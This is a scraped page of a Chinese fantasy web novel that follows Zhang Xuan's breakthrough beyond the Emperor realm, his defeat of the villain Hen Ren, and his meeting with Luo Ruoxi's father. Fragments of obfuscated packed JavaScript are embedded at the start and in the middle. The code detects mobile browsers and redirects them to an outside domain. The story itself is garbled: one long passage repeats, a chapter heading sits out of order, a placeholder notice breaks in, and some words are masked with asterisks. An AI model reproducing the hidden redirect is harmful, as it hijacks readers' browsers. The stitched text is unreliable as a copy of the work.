l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546023|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第51章与男子同场竞试,成何体统 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546024|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 